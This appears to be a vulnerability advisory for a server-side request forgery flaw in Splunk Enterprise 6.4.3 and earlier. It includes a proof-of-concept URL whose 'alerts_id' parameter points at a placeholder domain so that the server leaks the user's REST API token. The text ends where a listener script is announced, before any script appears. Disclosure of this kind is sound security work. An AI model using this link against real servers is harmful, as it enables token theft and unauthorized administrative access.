Splunk Enterprise Server-Side Request Forgery
Affected versions: Splunk Enterprise <= 6.4.3

+-----------+
|Description|
+-----------+
The Splunk Enterprise application is affected by a server-side request
forgery vulnerability. This vulnerability can be exploited by an
attacker via social engineering or other vectors to exfiltrate
authentication tokens for the Splunk REST API to an external domain.
 
+------------+
|Exploitation|
+------------+
==Server-Side Request Forgery==
 
A server-side request forgery (SSRF) vulnerability exists in the Splunk
Enterprise web management interface within the Alert functionality. The
application parses user supplied data in the GET parameter ‘alerts_id'
to construct a HTTP request to the splunkd daemon listening on TCP port
8089. Since no validation is carried out on the parameter, an attacker
can specify an external domain and force the application to make a HTTP
request to an arbitrary destination host. The issue is aggravated by the
fact that the application includes the REST API token for the currently
authenticated user within the Authorization request header.
 
This vulnerability can be exploited via social engineering to obtain
unauthorized access to the Splunk REST API with the same privilege level
of the captured API token.
 
[POC SSRF LINK]
/en-US/alerts/launcher?eai%3Aacl.app=launcher&eai%3Aacl.owner=*&severity=*&alerts_id=[DOMAIN]&search=test
 
The proof of concept below can be used to listen for SSRF connections
and automatically create a malicious privileged user when an
administrative token is captured.
